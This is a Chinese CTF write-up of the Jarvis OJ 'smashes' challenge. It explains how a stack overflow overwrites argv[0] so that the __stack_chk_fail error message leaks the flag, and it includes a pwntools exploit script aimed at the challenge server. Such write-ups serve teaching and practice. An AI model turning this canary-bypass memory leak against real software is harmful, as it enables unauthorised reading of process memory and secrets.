Jarvis OJ上面的一道題smashes
ida查看關鍵函數(shù)

查看byte_600d20的位置:

第一次是向棧上輸入一個無限長的字符串,第二次是往flag附近寫入,并且第二個輸入字符將會覆蓋flag
顯然第一次輸入觸發(fā)棧溢出

開啟了canary,關于繞過canary的思路主要有兩種
一、泄露canary
二、利用canary檢查失敗后調用的___stack_chk_fail函數(shù)
這里利用__stack_chk_fail實現(xiàn)任意地址讀。
gdb調試下進入___stack_chk_fail函數(shù),再步入__GI__fortify_fail函數(shù),可以看到這里執(zhí)行了一個叫做__libc_message的函數(shù)

功能大概就是輸出一些錯誤信息

其中當前程序的路徑名是從argv[0]中取得的并存放在棧上,然后用類似于格式化字符串的方式進行拼接。
第一次輸入的數(shù)據起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的棧上地址為0x7fffffffe1e8,只要輸入足夠長,是可以覆蓋__libc_message的參數(shù)的,從而把我們覆蓋的地址位置的數(shù)據打印出來。
from pwn import *
p=remote('pwn.jarvisoj.com',9877)
p.recvuntil("What's your name?")
p.sendline('A'*536+p64(0x400d20))
#gdb.attach(p,'b* 0x00000000004008A9')
p.recvuntil('Please overwrite the flag:')
p.sendline('')
print p.recvuntil('Thank you, bye!')
print p.recv()
#raw_input()
PS:這里叕有個坑,原本說好了存在bss里的flag被清掉了。。。gdb搜索相關字符串發(fā)現(xiàn)在0x400d20還有一個備份。。。